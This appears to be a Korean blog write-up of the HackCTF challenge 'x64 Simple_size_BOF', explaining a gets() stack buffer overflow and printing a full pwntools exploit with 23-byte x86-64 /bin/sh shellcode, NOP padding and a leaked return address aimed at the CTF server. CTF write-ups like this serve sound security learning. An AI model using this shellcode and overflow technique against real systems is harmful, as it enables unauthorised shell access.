ii4gsp

HackCTF - x64 Simple_size_BOF 본문

시스템 해킹/HackCTF

HackCTF - x64 Simple_size_BOF

ii4gsp 2020. 2. 9. 13:05

파일을 다운받아 주자.

 

 

 

 

IDA로 열어보면 버퍼를 0x6D30만큼 할당한다.

즉, 10진수로 27,952만큼 할당한다.

printf()함수로 버퍼의 주소를 출력한다.

gets()함수로 길이 제한없이 버퍼를 입력받는다.

gets()함수에서 취약점이 발생한다.

 

 

 

 

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3005)

shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'

r.recvuntil(': ')

buffer = int(r.recv(14), 16)

payload = ''
payload += shellcode
payload += '\x90' * 27937
payload += p64(buffer)

r.sendline(payload)

r.interactive()

쉘 코드는 23byte짜리 64bit 쉘 코드이다.

printf()함수에서 출력하는 버퍼의 주소를 받아온다.

쉘 코드를 버퍼에 입력하고 (23 - 27,952)  + SFP(8byte) = 27,937 만큼 dummy를 채우고

ret에 버퍼의 주소를 넣어주면된다.

 

 

 

 

'시스템 해킹 > HackCTF' 카테고리의 다른 글

HackCTF - Offset  (0) 2020.02.09
HackCTF - Simple_Overflow_ver_2  (0) 2020.02.09
HackCTF - x64 Buffer Overflow  (0) 2020.02.09
HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2020.02.09
HackCTF - Basic_FSB  (0) 2020.02.09
Comments